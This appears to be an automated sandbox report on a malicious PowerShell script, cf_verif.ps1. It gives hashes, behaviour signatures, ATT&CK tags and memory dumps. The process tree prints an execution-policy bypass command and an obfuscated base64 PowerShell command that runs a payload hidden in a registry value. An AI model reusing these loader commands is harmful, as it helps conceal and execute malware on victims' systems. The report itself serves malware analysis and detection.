b18ed93dd979c6233b1ce6e195338a57243f2a71e6147311aaf06fccea1d20c7

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
07/03/2025, 15:10

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General

Target

cf_verif.ps1
Size

679B
MD5

1b50d8010aab1860d73255e7857197b6
SHA1

960be1f5e7d05216ce2a1fd8012a7434e1d9c47e
SHA256

b18ed93dd979c6233b1ce6e195338a57243f2a71e6147311aaf06fccea1d20c7
SHA512

af037b5aeb04a96f9af623b3a96baa76ea6b62792a7552cbf5ee7f9ad18f09b0085b8874c1a46ffbc710bca6bc6d2105a70196028fb76bf781b652433c212c40

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2040	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2040	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2040	powershell.exe
2040	powershell.exe
2040	powershell.exe
2388	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	2388	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 2388	2040	powershell.exe	31
PID 2040 wrote to memory of 2388	2040	powershell.exe	31
PID 2040 wrote to memory of 2388	2040	powershell.exe	31

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\cf_verif.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec aQBOAFYAbwBLAGUALQBlAFgAcABSAGUAUwBzAEkAbwBuACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFwAUwBvAGYAdAB3AGEAcgBlAFwAXABNAGkAYwByAG8AcwBvAGYAdABcAFwAVwBpAG4AZABvAHcAcwAgAFMAZQBhAHIAYwBoACcAIAAtAE4AYQBtAGUAIAAnACQAcABoAGEAbgB0AG8AbQAtAGYAcgBaAFoAZgAnACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARQB4AHAAYQBuAGQAUAByAG8AcABlAHIAdAB5ACAAYAAkAHAAaABhAG4AdABvAG0ALQBmAHIAWgBaAGYAKQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d3186f7a0499030cd9862dcfb4b22ccd

SHA1
672e0b7f1000d5d892b20d37d023db4f343b39c3

SHA256
83637b2ef5d597e130e599bdc2cef7109b3aa4f3c8181bf7a6d43f1db2f26ed6

SHA512
fac581545f70a6361cc99da605a17e79a141451eefc9b14685e90e98e7ebe6ed8c8d296a344c534a9ec9bbd464775dc350c19cfc74a7e1cb3f4c6ed8ab90bbbe

Download Submit
memory/2040-4-0x000007FEF5C7E000-0x000007FEF5C7F000-memory.dmp

Filesize
4KB

Download
memory/2040-5-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2040-6-0x00000000021C0000-0x00000000021C8000-memory.dmp

Filesize
32KB

Download
memory/2040-7-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2040-11-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2040-10-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2040-9-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2040-8-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2040-12-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2388-19-0x0000000001F60000-0x0000000001F68000-memory.dmp

Filesize
32KB

Download
memory/2388-18-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download